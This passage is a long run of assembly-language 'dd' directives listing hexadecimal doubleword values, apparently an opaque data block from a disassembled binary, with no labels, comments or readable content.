		dd 72438AFh, 0BB7CD6E7h, 49CFF019h, 214C201h, 1B007C4h
		dd 0F3BD8422h, 802F1698h, 0B4ABBE92h, 2ED3DF16h, 0C2B65300h
		dd 923FF3h, 0C7329BDh, 6171A02Dh, 9E6E5400h, 0BB0A05C0h
		dd 8AB51866h, 9D58D996h, 6699A00h, 949036D5h, 85EF0035h
		dd 0F481F87Fh, 62007D49h, 5B4C26B6h, 0AEC50CEh,	660BE3C3h
		dd 0C04400DCh, 0F0664C2h, 2131EE00h, 0EC7BBC1Ch, 4B9A1C0Ah
		dd 25C7803Fh, 3401A1FCh, 941EAF00h, 10FAD23Ah, 2198008Ch
		dd 97266EBFh, 0D42611A7h, 0E41E484Eh, 65FD0478h, 0D0803EA6h
		dd 1F993BECh, 80E78C75h, 0A76B81Fh, 6139F453h, 6EF900D2h
		dd 1869AA07h, 73E223h, 0BE8E2B2Eh, 7F5251FEh, 483180F9h
		dd 3125CC0Fh, 0DD50009Ah, 2C5B6293h, 87008FDEh,	65D0341Fh
		dd 0C87810h, 0A279DC0Bh, 0D2A173E5h, 0F0D63E00h, 48FB6D29h
		dd 5057048Ah, 919D9A28h, 0EC371564h, 9C3C624Ch,	0CF080174h
		dd 85E8C657h, 3CA8F4h, 32F2D37Dh, 0E6DE96A9h, 0CF00B7F4h
		dd 454E54B0h, 774715h, 0B45870C0h, 0CE924FE5h, 755A0A07h
		dd 1A90822Bh, 736B3B20h, 48B77110h, 0A6809CC2h,	17F91B2Ch
		dd 0BFEB200h, 0D8A792F2h, 0F930786h, 600C9F59h,	65E4D923h
		dd 6F9E311Ch, 0F4A35084h, 0AEA47887h, 792E00C0h, 0E6B6009Ch
		dd 0EFF702E7h, 8C133A13h, 6400AB07h, 4E06504Ch,	109460C0h
		dd 13F89D36h, 0A873DE13h, 0C2995401h, 0DFDC425Dh, 9CF430h
		dd 0C2D809Bh, 0F345FC39h, 0AB593D03h, 0F0D9621Fh, 7B805DDh
		dd 1E7977FFh, 418953D5h, 7FC2E7C8h, 0B7696000h,	0BCC9ABB0h
		dd 465C007Eh, 84AF62F5h, 2E004E8Dh, 325AC286h, 0BA3525E8h
		dd 0F2EA00DEh, 79A985AFh, 727BD50Bh, 13170400h,	8263F8DDh
		dd 5C01000Ch, 4CC0B559h
		dd 0BE5AAE84h, 0ECD3F0h, 8B86F8FAh, 0FE1E5516h,	0F722360Fh
		dd 4AD280AAh, 0DA1754h,	0FB773431h, 0A6C2139Ch,	0E51D46FEh
		dd 0FE40D755h, 3692667Ch, 0AC210078h, 54203F48h, 8D073CE3h
		dd 0AF1A9D4Dh, 37FA61C1h, 0E0D3BFE1h, 900E408Eh, 0DC1100D2h
		dd 0F2C9F31Eh, 71018A28h, 0D8A1F6A9h, 1CC0923h,	0F5721716h
		dd 7C4D0025h, 0ED6E920Eh, 8B41A600h, 0D1608E6Fh, 0ABBA0943h
		dd 0AC0316A8h, 0AC86C3Dh, 0F80056B2h, 0E29E6252h, 0CA1ACBh
		dd 6F41F447h, 8B0A3229h, 0A100E974h, 0AE1D8723h, 5B603h
		dd 0DEB431B9h, 0FB391C9Ah, 80130F3Dh, 78C8A25Ch, 35EB37h
		dd 21BC3A7Fh, 6F69896h,	1D6FB207h, 180019FEh, 46E347h
		dd 8654F957h, 0ABCACEBDh, 0C8E53607h, 3BA0A199h, 5217CDh
		dd 4EA993F8h, 885A7BAAh, 0FEC06800h, 3DEA1A0Ch,	2940361h
		dd 0B3084345h, 5F366000h, 7757798Dh, 4B785C91h,	0EF5B0F7Eh
		dd 71871D75h, 0D6738193h, 5110806Bh, 0FED8A692h, 8C7800F5h
		dd 496BFB8h, 0BE01C516h, 0F3568387h, 3080C494h,	243F0DFEh
		dd 84E8C171h, 973CEC06h, 586592h, 80EE7E55h, 887478DAh
		dd 45E61000h, 2DE073A5h, 71696006h, 0EA9B65BAh,	224C9601h
		dd 7B711D6Eh, 38F36040h, 42E60018h, 0F7DC1958h,	29C07868h
		dd 3F51DE59h, 66333BD6h, 0BDC10180h, 0EB2AA7A0h, 0C0D30E97h
		dd 7748C239h, 153B0FA6h, 0E76037A4h, 9645EE9Dh,	0F6111F00h
		dd 524BB061h, 683500FDh, 3C8C2749h, 1300D8EEh, 9E87D562h
		dd 0EC4720Dh, 30EBD7E3h, 9C4419A0h, 0A50021CAh,	8F765224h
		dd 0ED6693h, 36316941h,	0AD3A3794h, 22AEBE07h, 6EA0F133h
		dd 56887865h, 4AE40475h, 78046E8Ch, 0B1F83566h,	438933Eh
		dd 8555C242h, 3D5B7A20h, 78FC0310h, 621C7428h, 8E3108F0h
		dd 8F1B202h, 218301Ch, 0B63D8B1Fh, 0B4AF8C3Eh, 0D898D147h
		dd 0C1755009h, 351431C5h, 69064C0Dh, 0C7840D3h,	1C6F50B6h
		dd 3E90A67Ch, 505687BDh, 87340868h, 0F33FE68Dh,	878E495h
		dd 47070AF1h, 0C1B5CC79h, 806C2CF4h, 3AFB9910h,	0CAFC6F60h
		dd 601C2308h, 973B84A9h, 1F089060h, 7C9A8F71h, 0BE8D4123h
		dd 6203C10h, 109CB204h,	141B5118h, 150808A1h, 77C1C29h
		dd 0C76E5AA3h, 0B7AFF0AEh, 8361BAAh, 517075h, 6301FCF5h
		dd 9BF214CBh, 1009EE68h, 0C3D70421h, 1086AD1Bh,	0CFDE128h
		dd 3872ED00h, 6952103h,	0BC540112h, 3A979DF2h, 0A6418005h
		dd 639ACE33h, 0C216301Eh, 3C13FD51h, 38381F6Fh,	606B7F51h
		dd 0BC1D3805h, 48C09ABAh, 0A71C9ED5h, 31E788Ch,	9BCBA860h
		dd 6176EBF8h, 27AD160Ch, 8D1109h, 1A87EDD7h, 0FEEBF904h
		dd 1D6D34A0h, 0BC8E4F3Bh, 28588097h, 42D6753Fh,	0D19C0E17h
		dd 0D48E1CB2h, 0E556409Eh, 89AE63E6h, 0C5181D7Fh, 0C4A9A710h
		dd 1BEB31D5h, 0CFBE08h,	557F02F1h, 48998C93h, 60D00907h
		dd 0A737C9Ah, 0D409E700h, 8DFBD568h, 0C5AC0E07h, 0C7C0A876h
		dd 72F357A2h, 431F9300h, 7134207Fh, 0C4AD5209h,	0C4121302h
		dd 8C809FD0h, 98CA3F76h, 0E100E8DEh, 1F9B96FAh,	1697E0Ch
		dd 260D125Ah, 0E0249582h, 0C600A80Fh, 8DDD601Bh, 181C5C49h
		dd 28559769h, 24FC5640h, 13D2FC1Eh, 0E09ED407h,	7F73B3C0h
		dd 9238C0BEh, 54630CF0h, 4226E703h, 65C242Dh, 18B60E69h
		dd 190608BFh, 0CFAB163h, 0BCE30038h, 61305471h,	0E6058870h
		dd 0A5CE52C5h, 24B41000h, 501F0F53h, 1D4550DDh,	407B103Eh
		dd 0AEC02527h, 0BE000ACDh, 0D731FEF7h, 0B8582912h, 30B83FEBh
		dd 1014CE80h, 840F540Dh, 7F45173Bh, 5DABE81Eh, 0D020F500h
		dd 1C56E998h, 0B38C54B9h, 960C0B8h, 0D84DA6E8h,	0BB1C3C8Bh
		dd 0CAAC1960h, 0D400960Eh, 8084F050h, 7267782h,	0B06F4FBBh
		dd 0B1D540F3h, 3238D464h, 609C8025h, 0C4A5B52h,	0ECB13D1h
		dd 454A001Bh, 50FD1CF0h, 0EDD258C0h, 0CE75231h,	8B1A3976h
		dd 0D63C69D0h, 589B0020h, 2438F453h, 31CEB81Fh,	12D8835Fh
		dd 36480D3h, 0A8E3B6D8h, 0A6F600B2h, 1E0F4FF4h,	60C05309h
		dd 0D264ABE0h, 0DBC8CF0Ah, 0E8DBCE6Eh, 70B4DAC0h, 0C21F94A0h
		dd 208DE9CEh, 9AE137Ah,	0A80DE8E7h, 3A4BA9D8h, 82485CDAh
		dd 1A848C42h, 275200D2h, 2A284DA1h, 1AA851BBh, 81C0D0A5h
		dd 63491C82h, 78C11842h, 1A302612h, 83290464h, 8FBC762Ch
		dd 3B904C0Ah, 148FCE0Ah, 53270C60h, 4F40C8F0h, 857F03AEh
		dd 31A5D2F7h, 0DA53A0B8h, 0D5563000h, 0CD039F5Ah, 52D9C0CCh
		dd 0B62757E5h, 69C0330Ch, 62259161h, 100628A1h,	0B257ED20h
		dd 0DA11C02Bh, 73ABBBE1h, 0E589E52h, 99FCDDD3h,	18F20490h
		dd 9C282033h, 4500F0CDh, 50E09B75h, 0BAED4Bh, 0BEF7B646h
		dd 0A0B1CD9Dh, 266AFA09h, 3EB8020Fh, 0CE800FBCh, 38D7CD23h
		dd 9167AA7Ch, 0A340A979h, 0AA9F1D0Eh, 42348E80h, 82682427h
		dd 0A74A9E68h, 881BB0h,	21958B2Dh, 778896B8h, 9A220050h
		dd 0EF651A2Bh, 0FE5CD3ABh, 640F01DEh, 1B085632h, 3ED13821h
		dd 0DC928450h, 0C4092A53h, 46DA00A8h, 0AD55556h, 5A405DC0h
		dd 0C0498D2h, 0A1D14EE9h, 2B0FB0B9h, 39FE70Ch, 2B13E8Dh
		dd 63C42978h, 4861A308h, 0C8C1A861h, 8907BF90h,	0B4AE954Bh
		dd 0B526B80h, 51C01D3Ah, 0C8F89583h, 230AD100h,	0D590FD60h
		dd 4765C0E7h, 0C463DC0Ch, 14A9159h, 376E6F48h, 0F8E4A9D1h
		dd 5D00314Ch, 909650CAh, 546C8EAAh, 91D6940Fh, 62BC090Ch
		dd 3CB59C20h, 1F0122CBh, 2CA224B2h, 5BCCCA07h, 913E0FDAh
		dd 7AE7C667h, 401A51B9h, 26F42060h, 0F336D90Ch,	10D10AAh
		dd 0C885506Fh, 405EADA0h, 25AF05D7h, 0A592FC07h, 0E40A872Eh
		dd 0C9B95318h, 468E001Bh, 7E1A2228h, 0BB003DFFh, 0C1CEDC0Ah
		dd 7ABC8Dh, 52F72D37h, 8EA5A917h, 1C5A14Ch, 358365D4h
		dd 7E054E0h, 429E1855h,	59FC89ABh, 73768418h, 3A6146h
		dd 2DEE663Bh, 5FF4AA6Dh, 0E51A81C0h, 7749C0EBh,	7B0B07A9h
		dd 0D0F3BCC5h, 0A80341DFh, 0ADE3B802h, 400A3E34h, 980B45D4h
		dd 1252E6ECh, 0BBDA2Ah,	9B7AEABDh, 0DBF4B81Ch, 2255B500h
		dd 4514AB34h, 0AD310EE3h, 488FB78Dh, 0F2B5D9A3h, 8F692000h
		dd 39CFCA82h, 7F9103B8h, 4B4C5530h, 13A00FD8h, 6BD5EF18h
		dd 719F919h, 1C7B272Eh,	39684C2Fh, 0D2A2CF00h, 3B575116h
		dd 1DC306E6h, 405D0794h, 1FF8D39h, 0CCBC6483h, 388135B5h
		dd 5F67C5A5h, 141086B7h, 7183416h, 0D9E88505h, 2609202Bh
		dd 8A004228h, 27959294h, 0B3ABB8h, 145508CFh, 2BCC25A8h
		dd 70691ECh, 0D9E6652Dh, 0E47706A8h, 71023387h,	7106BB07h
		dd 531057C0h, 740C0F3Fh, 21E36051h, 9D72AEC2h, 2FEE1771h
		dd 0B9A6E600h, 327CECEEh, 0CA9F1E24h, 0B2D847D6h, 10EFD6A7h
		dd 49174C03h, 0B05B6421h, 2402D3h, 0B2958566h, 9A3A74D0h
		dd 85C3278h, 8C31005Eh,	8625C29Ch, 0E9940EADh, 0B8C0EAC6h
		dd 1C5AD44Fh, 0D39A3600h, 0E524E28Bh, 727AF6h, 543E9D21h
		dd 0FB2301D9h, 1A8BB400h, 321DC977h, 0AC6C034Fh, 6EE4D693h
		dd 38EF2E98h, 0AA2DC500h, 0ADEA8742h, 9B880055h, 0E5E6A524h
		dd 0F8006BC2h, 9369A6DDh, 304EFAh, 8C19D9CEh, 72EE5A32h
		dd 6647B800h, 411350FFh, 68EC00C8h, 405ECB1Ch, 0B4715B0Ah
		dd 84000178h, 460BE106h, 0B34ADCh, 55653D38h, 0AB0192AFh
		dd 8CBD6D00h, 18CCC49Ah, 5AD60CDBh, 84300AE4h, 0EE8AAB07h
		dd 0BF801364h, 40E5C3h
		dd 93154AEDh, 68F17EE3h, 86B510C1h, 388F1D57h, 0D0077BB7h
		dd 48ABC6EFh, 8AAD40C1h, 0E2F833AEh, 0D0A70635h, 21397FE7h
		dd 0A84D5B00h, 5FC99A90h, 193360CCh, 0E96C1FBCh, 692C3800h
		dd 0A095689Ch, 9EAF1A72h, 8D8099BBh, 9C675876h,	0D000178h
		dd 378F1496h, 3A7D759Bh, 6F800C69h, 0E2E9FC81h,	50C0D14Ch
		dd 98C873E1h, 3E35305Ah, 7C23198h, 0D6044800h, 5F7F3A25h
		dd 23E63E9Dh, 80B191E0h, 0A8A893FEh, 0C100580Dh, 0ABAF4A14h
		dd 1E2BC925h, 0BF67F569h, 3A284C07h, 0E017071Bh, 4348CD0Eh
		dd 73E27E00h, 0B129B670h, 7F9300BDh, 0BCD125A5h, 2B003A3Fh
		dd 0D1549BFh, 790269F2h, 8E3C0026h, 11C9850Bh, 2A03015Eh
		dd 145B5FB0h, 402E063h,	0E060C032h, 8528A90Fh, 0FFBAF600h
		dd 5FF544DEh, 0CCB00F78h, 0E7606803h, 0E343FA42h, 0E282662h
		dd 0A2222FEh, 22BB8C22h, 6224D5E4h, 12636521h, 0DAB810D0h
		dd 0CA089689h, 0F8143B44h, 505980EAh, 888A2740h, 990F6B4Ch
		dd 805ADAD7h, 0AC6FBEE9h, 8DF2A8h, 40AFC745h, 1018374Dh
		dd 0DFE25B07h, 0F740B6B5h, 33C04Fh, 9ACE3DB1h, 7942CCA7h
		dd 7C1D7100h, 0F649DE13h, 60FAE0h, 0F1C96117h, 41D233D8h
		dd 0F4D94F07h, 0EB902F8Dh, 0B88544h, 0F9DEC553h, 5B316A8Bh
		dd 0EAE2F300h, 25135A47h, 0D19500FDh, 1418A99Eh, 2816BF8Eh
		dd 0F801684Fh, 0BC59EE6Ah, 759DC2F4h, 0B410396Dh, 0EFEC7C00h
		dd 0B0963068h, 2FF95C07h, 0FB4048E9h, 3D90239Dh, 6280A8B6h
		dd 8A30A08Eh, 0F607208Dh, 3C34833h, 7F603A30h, 0F8BA794Dh
		dd 970B00AEh, 0A8F964DDh, 390028E0h, 0ED6D70ECh, 21566F4h
		dd 31860B84h, 4602D34h,	5900DF64h, 967AE809h, 3AE6180Ch
		dd 0FD01159Bh, 16BA83C2h, 1ABDF423h, 6907F1Fh, 0DBA6C140h
		dd 98561410h, 0C160044h, 0C048EF84h, 0A800F6B3h, 0CD02B76Eh
		dd 2D54E5h, 0BDA3E50h, 752C32F3h, 0E93B7E00h, 2F9BCDD5h
		dd 1E9E00C3h, 80DE3CE5h, 0E600547Dh, 0A92534F4h, 6C732Ah
		dd 45F6C96Ah, 4349C4E1h, 41000E77h, 71E23B27h, 1D1692EBh
		dd 395EBEh, 0C1D2B4C3h,	19B8511Fh, 0E6081460h, 0A99DDh
		dd 0CBE4223Dh, 2C44BE72h, 0AA2C3BFCh, 2500BB1Dh, 0C9D61849h
		dd 6B2B008Dh, 3F43F3A2h, 66007D55h, 0B48EF4B6h,	0D08206h
		dd 1645F22Bh, 0E3F841Dh, 0CA9E2E00h, 853590D1h,	31AB0ED0h
		dd 6C203A1Fh, 8C54FD20h, 0FA5C011Dh, 73ED72C1h,	0FA70E1CBh
		dd 94CD0074h, 0C5AB1528h, 6807CE79h, 33BFFAEBh,	804073A7h
		dd 1749287h, 0F6F3C817h, 0DC19630Ch, 460069FFh,	7691CDD2h
		dd 0EA1F4B7h, 9488FBD9h, 0CE26B60h, 131E6E0Eh, 9A00F805h
		dd 932D28CBh, 0EAA505ECh, 80ED8334h, 6A7CE926h,	0F8004E7Dh
		dd 0CBD072C6h, 0E876D99Ch, 0EE360E65h, 7D40B5CAh, 7836D56h
		dd 0C4A04AF4h, 3901A2DBh, 0C526B1A7h, 0C07F11CEh, 0D188845Dh
		dd 5F408D0h, 205F2FDEh,	2D678800h, 7DD322h, 13E62645h
		dd 6CD78D1Ah, 0D9278A00h, 0FD08DD48h, 994700B0h, 6A1AE40Bh
		dd 0B8003F07h, 1A8D7EAh, 0EA95E822h, 2041144Dh,	0EF28FC52h
		dd 0B16C14E0h, 0B000FC59h, 4C9CC293h, 45092BDFh, 8008F578h
		dd 0B2909BB0h, 0E9490029h, 1CE1F80Dh, 7600687Fh, 0EE89F161h
		dd 13C78165h, 8F9B4Ch, 90BF8B8h, 1800BFA1h, 239759D2h
		dd 32850D3h, 6449AFC1h,	6CE1741Ch, 0FEF7029h, 1FF4C0Fh
		dd 0A7073D90h, 0CD076B06h, 65ACCC10h, 26560A1Bh, 0CC69B2h
		dd 0F755DD6Dh, 4400702Ch, 0E6A19B0Eh, 97F4B4h, 7CFA1B21h
		dd 9D2BBCC7h, 0B8D8C050h, 8E880A3Fh, 20BB3CF9h,	0FA018DD4h
		dd 207F46h, 0E475119Dh,	76BDECA4h, 3A44470Fh, 7DA3A783h
		dd 480AD15h, 85BAD3h, 2F699894h, 3B3A9954h, 88AC6300h
		dd 61086F01h, 0C418005Dh, 817E49A4h, 7F00A1CBh,	6E6DFE1Dh
		dd 1D07FDBAh, 40893C43h, 5C0EB590h, 6B4C1449h, 0AA0500A6h
		dd 0ABFF2791h, 990C00FCh, 2BA33A67h, 29035CAFh,	7514349Ah
		dd 0F884B042h, 0C2321222h, 6B2C00F3h, 0FF9DD03Eh, 7148A600h
		dd 1324C35Ch, 0FBBD1EB9h, 3D9B00ABh, 0F7BCF6Ch,	1BD6E100h
		dd 491927D8h, 85C000D7h, 8F34802h, 4000ACD2h, 0AA9471D5h
		dd 488EBFE7h, 550630DCh, 288D11CFh, 7E1D6605h, 0B801E45h
		dd 64953h, 8290BD16h, 24B17FB2h, 0CF40030Fh, 53EE019h
		dd 3AEA647h, 0D18F56D7h, 1B801366h, 0BC00767Fh,	9ACA3486h
		dd 0F6276B28h, 0D0C90343h, 0C2627C35h, 0C7D9CCC8h, 0E470D3Ch
		dd 20E7A2E5h, 525819D7h, 0E6271674h, 1C1D17h, 6420AF8Fh
		dd 2F00AD03h, 2530CE73h, 0F729091h, 29DE0B43h, 0B220790Fh
		dd 1D64669Ch, 0EB469800h, 62B147B6h, 37E0F0h, 5ABAD124h
		dd 5D30CAAh, 40903D51h,	0E4FCCDE0h, 644B1D26h, 87820300h
		dd 2E3C8C59h, 2D43EFh, 34CCD3D4h, 7600D52Eh, 5C0D1A3Dh
		dd 3C8129Dh, 85407387h,	56C38E5Dh, 7F262BA0h, 8BC7E800h
		dd 9466763Fh, 37D81E01h, 1FCF92E4h, 0D9F1C080h,	0E1C6A551h
		dd 448A8F00h, 0C4B535BBh, 76A902FFh, 6D2DA05h, 0DDE90D60h
		dd 0D1636700h, 0DE5DAAEAh, 0D0FA02FCh, 0C6601E6Fh, 0CF0CE080h
		dd 1F002DBAh, 4A15DA17h, 7B4F6D0h, 0E5E31E7Dh, 5EF1739Ch
		dd 32AD81F0h, 580E5C00h, 0ED7F7C80h, 99E7782h, 0AEB8CD70h
		dd 0F90FE8A0h, 8B00BD5Ch, 5A2D6933h, 0EC496811h, 1EB50027h
		dd 78B8E643h, 0E87899DAh, 0E2B0D300h, 3DE44B18h, 95573C12h
		dd 426B00F2h, 9FBB65A0h, 0FD000EA3h, 619567Ch, 932BF0h
		dd 8A4E27A4h, 7335C87Dh, 0BA3A3307h, 8940DE49h,	87112Ch
		dd 0B014F969h, 70C1ED0Bh, 7B224801h, 3B3DFEAFh,	1FCDC434h
		dd 0AA21E5DDh, 90B64CE4h, 80E84E84h, 90ABBD90h,	80A08939h
		dd 0C416E4D2h, 3AA9FAh,	59C18253h, 32139424h, 29E0D607h
		dd 56602F09h, 24194DCCh, 366087h, 0B0795E9Bh, 7AC2303Ah
		dd 406E4884h, 3D9A8D6Eh, 5CBD6254h, 6AFAB780h, 0CEC938E6h
		dd 0E02B400h, 0AD1C3B08h, 6D9400FBh, 0A8850C8Eh, 960AEBB8h
		dd 2877D392h, 1565A181h, 0C2D80981h, 87C26A0h, 2297001Ch
		dd 0D78CE270h, 782EB109h, 0C9AC8118h, 0B3E064F5h, 0BFEC00CFh
		dd 2AAB1E73h, 93008417h, 9D8179C4h, 5EE3A306h, 1AE8AEh
		dd 0D372D9A2h, 0D076Eh,	28196C25h, 895C1F1h, 2442D41Fh
		dd 79FF2E40h, 29E837Bh,	0C946B6Ah, 3C40A035h, 0C60AFBB0h
		dd 0BC4D9AD8h, 8A018600h, 90295E21h, 12E6FA43h,	175F54Bh
		dd 2B627E65h, 5BD960E9h, 5E12A400h, 16495D88h, 0CB630004h
		dd 0B1776F07h, 11001BD3h, 5D9AFE51h, 39D984h, 7ADF12CDh
		dd 283F03D5h, 386F6A3Bh, 0A71080E8h, 0A1AF9E29h, 0EF870039h
		dd 0FF73B2F8h, 0F300D85Dh, 554C2C67h, 1FD47C44h, 41A887h
		dd 8836CA58h, 62007BB7h, 50409ADAh, 39A1B92Dh, 7CBD440Ch
		dd 4B4A0480h, 613DD252h, 0DFF24972h, 6523D600h,	1F300DA0h
		dd 51ED00FAh, 2420B448h, 0BC245AB5h, 0E039254h,	0E0C255EBh
		dd 13745781h, 7A96392h,	0BCCC9094h, 1D1E1908h, 2B1E012Eh
		dd 0C4150840h, 0EDE2E1h, 0C3B893A1h, 1E5F029Fh,	0D89F5350h
		dd 4A4F148h, 7A87D7E0h,	395C3B00h, 0B4C0F2A1h, 0DE6D9A32h
		dd 8E700C4h, 8A304050h,	44001D54h, 25E6DA01h, 0E8C2064h
		dd 0A951B59Ah, 390F2321h, 97E12050h, 0A62E6EE2h, 0A3801861h
		dd 5D325C5Ah, 0BF2200AAh, 152B3154h, 6D00E385h,	610DF57Eh
		dd 0BC5C88h, 51CDBE18h
		dd 0C115B744h, 22C2B100h, 7BD61737h, 1F330099h,	0CAD91C38h
		dd 0F000B9CEh, 0F62CFD92h, 59326Bh, 54E68B5Ch, 689C1535h
		dd 5D004DB0h, 632C61C9h, 7A0F9E96h, 0CDA80094h,	3E35A43Bh
		dd 94ED10h, 897FF51Dh, 401305ECh, 0FE64F94h, 6DF97341h
		dd 9A283280h, 0CA0504FFh, 93C8BC1Ah, 0F07CC893h, 55E2E4h
		dd 602E0298h, 160FF50Dh, 4A9D4200h, 0C8A08F81h,	7E030020h
		dd 0D971E2C6h, 0DC94C955h, 0EFA23600h, 7F7832Ch, 0C38F5E7Dh
		dd 6E0FD313h, 7035C4F0h, 0E50B270Eh, 31EF205Fh,	9A8128h
		dd 0A33F8244h, 0EB4914Dh, 1E7AB3Eh, 7294E57Bh, 51FD06F4h
		dd 7CA9E6C7h, 83430B67h, 0D085E8EAh, 73E0C70Fh,	0E0A7A219h
		dd 0F398DB26h, 15BFBD01h, 711B5FD2h, 1C95B2C4h,	0C09ACDD5h
		dd 9221A7C5h, 7300DE3Dh, 0A5BDAD5Fh, 139BF2DCh,	137137h
		dd 0C46ED4A8h, 6A0B8863h, 0A0303D3Bh, 1F680750h, 0C0D2004Ch
		dd 2E9B79FEh, 0DEFA78C3h, 2575665Ch, 0A8E8008Eh, 0F2B0DDh
		dd 0CB599C3Fh, 27F00EE1h, 10FA6F18h, 0E8CCB8h, 25A352C8h
		dd 0FF1B7B18h, 5A498D1Fh, 0B1100FDh, 0D64074FCh, 0A13D0085h
		dd 0E068083Ah, 6100CD9Dh, 0CB3BCC0h, 15CEB81h, 1D123CFh
		dd 0F1B2333Eh, 4D4370B4h, 0FAADA200h, 0D8AE7687h, 0FCCD5BF7h
		dd 0E6F00030h, 2534BE99h, 0AB77002Fh, 0B0BCADEFh, 8003505h
		dd 2484D47Ah, 78AF7CACh, 1BF71DB9h, 0F05B80D2h,	3E55636Ah
		dd 0C406E00h, 5F0158F5h, 3934038Ch, 0C52E2DC0h,	20BE33C9h
		dd 0BD01C904h, 0DD3A0B28h, 32C074D0h, 48BC0041h, 107051E4h
		dd 28E88C35h, 0BAF41D00h, 2ABBFB15h, 0F50E002Dh, 62FE32DFh
		dd 0C91F86EFh, 40C0978Bh, 0B0CE3AC3h, 0DC140054h, 69093F9Fh
		dd 8C2C24A2h, 0D601A230h, 32FB9B90h, 1E4EB3ECh,	0E83810h
		dd 176386CAh, 14001191h, 0E149F808h, 0C94706h, 0CC126201h
		dd 4E26B013h, 0E403BD73h, 7E6A479h, 0C120B7C0h,	71B34656h
		dd 4C9300BEh, 70C68ADCh, 0E10F1C9Ah, 0C03A23C5h, 45CB170Dh
		dd 609690B3h, 0D058180Ah, 3B148362h, 1C94812h, 0C7A23C8Dh
		dd 0A4F42775h, 335D3CC5h, 0FA0306BDh, 54AE86FEh, 5EF028CBh
		dd 0F03DF3C6h, 9A5580ADh, 0A70B45F6h, 387D071Eh, 0A34CBF91h
		dd 64A1046Ah, 3E1080CCh, 0BEA2D9D5h, 52860002h,	0FD8B11E6h
		dd 0DCA02D31h, 3922F393h, 925909B3h, 75876365h,	0B9335048h
		dd 5F309BACh, 0EEA609D9h, 2FDC03D4h, 0C15790FDh, 0E96C7780h
		dd 71CEC800h, 0ED5E7FFh, 5A013E02h, 0C4AD4283h,	0C0D47586h
		dd 0FD6E4023h, 8D130805h, 1F80E378h, 0E0D29Dh, 0D19C4891h
		dd 94BEBC02h, 24634714h, 53740094h, 0D4E0965h, 0CEF03E16h
		dd 47A0210Eh, 0E53C96C0h, 331252CAh, 0BF00E10Fh, 874A74Dh
		dd 23BE01B1h, 0EFF8D0C0h, 1EF3E851h, 8095493Ch,	0B76294FAh
		dd 7DE0DD80h, 1C590BBBh, 3200FBDFh, 9E855CCh, 0DB7C5400h
		dd 0E6C5CE84h, 81530037h, 7DC70412h, 0B60EB273h, 0E0E84FA4h
		dd 0BEF417B4h, 0DB1B008Ch, 0ED0D1801h, 3C00A0A9h, 0BDE1A606h
		dd 51F324E2h, 2CC4FC42h, 56D338EBh, 439EFE01h, 0CCC3B17Fh
		dd 0E400B460h, 2C0F648Eh, 235B70h, 0CB169847h, 1015FF1Eh
		dd 113D3401h, 0FEB088A2h, 5C4653E0h, 0B700E295h, 0F9B4BAFCh
		dd 0DE004BC6h, 1711A6B0h, 99C7BBh, 89BE0686h, 949A3415h
		dd 7E300B00h, 44624E42h, 19CE0050h, 0B4A76E22h,	72EE491Ah
		dd 684B2907h, 9CD15CCAh, 8020922Ah, 0C37D1EB9h,	3C3600C7h
		dd 0D4B57B66h, 241E5A24h, 2986D300h, 2ECA6B45h,	1D364C91h
		dd 11940485h, 6EA090D6h, 0A4034528h, 7B31E429h,	3018A3D9h
		dd 5C20C070h, 6007A1Eh,	3D80A86Bh, 0B0DC44CDh, 61F90028h
		dd 0D1C6B2F3h, 1B003735h, 5175FD0h, 52B8DDh, 0CA48E9D6h
		dd 185ADAF5h, 10AB4106h, 1E9044E8h, 0E17866Fh, 7FC0805Fh
		dd 0F351E30h, 0F44E42Ch, 0EA156800h, 0C9F69Bh, 0E5ED1D2Dh
		dd 0C379B927h, 185F4F01h, 0DDEAD3AAh, 0AC14E140h, 0E4E0FEC1h
		dd 0C96B0052h, 797013C0h, 3900B2ECh, 85C13812h,	304591Dh
		dd 8E82307Ch, 0EE00681Eh, 62C29702h, 0C565A8h, 9EDDC0B9h
		dd 0CA96F8E1h, 834FB306h, 3B46128h, 0ED0812CDh,	39822918h
		dd 9C78040h, 7663DD00h,	34E3AEB5h, 99410FB1h, 0B8A088F6h
		dd 80CE928h, 9B257001h,	94024EDCh, 0E8784CC4h, 0E1DB0003h
		dd 0FBFA9EC3h, 890085A1h, 0FED1B032h, 3CBE4145h, 0D14CD308h
		dd 0BA4E3D1Dh, 0AC5300FAh, 2A84BC85h, 25152669h, 0FC418Eh
		dd 60F15B56h, 28FD4657h, 5C80C22Fh, 9440862Bh, 33B048C9h
		dd 715B9C03h, 1909B1Eh,	29C8E4B5h, 0CF1341B3h, 104D02CCh
		dd 0DF88F651h, 0CEDD8813h, 8469CD40h, 42EA5322h, 0F3AF11DBh
		dd 1C25A510h, 781EC0BAh, 5A365C00h, 0CE41A2h, 0CB2E30B1h
		dd 3456D73Dh, 0DE549C03h, 0F35F3FABh, 8313A0AFh, 456926B0h
		dd 8AA200A4h, 0A8F0AEEFh, 43744Ch, 20FE9849h, 0B65C2Fh
		dd 0DD77BF13h, 0B850E683h, 68DEF900h, 0F1890549h, 820200F6h
		dd 88D0E9C5h, 9A004D40h, 2CEE7F5Fh, 0AE843Dh, 3B77F3EBh
		dd 0A4320F5Bh, 580534Ch, 87AAF766h, 0D541DBC0h,	0D6361617h
		dd 0A31E0BDEh, 91F1BE80h, 900015C9h, 6E6BBD66h,	3AD6F8B0h
		dd 1F62489h, 0B5E8E42Dh, 60E09547h, 70001498h, 0DEFA43AFh
		dd 18F253C8h, 56B285B6h, 873EFC78h, 29618049h, 13C21690h
		dd 0BE30076h, 44CE99FBh, 0DA00F1C7h, 59498CBCh,	9178009h
		dd 0BAA75F50h, 0A095E800h, 6100ACFBh, 646EC333h, 0F7FC22C8h
		dd 0F0C7CAE9h, 0C02D9Ah, 0E141AEDBh, 67F94F58h,	0C7E6C1Eh
		dd 1E51D2C0h, 77701D0h,	82D70A54h, 0DF7FC0FAh, 0B7015DE1h
		dd 0C413F6E4h, 1C60E7EBh, 0DA710024h, 2B0E27A1h, 0AF035877h
		dd 0D3537D5h, 20D800DCh, 0F7C86274h, 0ED004F49h, 1FEAA69Fh
		dd 18AC23E1h, 0F6EBFC16h, 947A0D6Fh, 0F5113200h, 0A0E76775h
		dd 84200F6h, 0DD6DA662h, 0C9167FF1h, 0BC00DAF9h, 0E55D85E7h
		dd 0B41B586Bh, 0E6A69702h, 0A06002B8h, 500074FDh, 0CFC34FF2h
		dd 5AE9F83h, 4E9B3C98h,	5AF300F3h, 9318ACECh, 0E3A33D0Ch
		dd 1DFB08A5h, 0C0A924F7h, 52D9E62Dh, 0CE0040D3h, 0C33964B3h
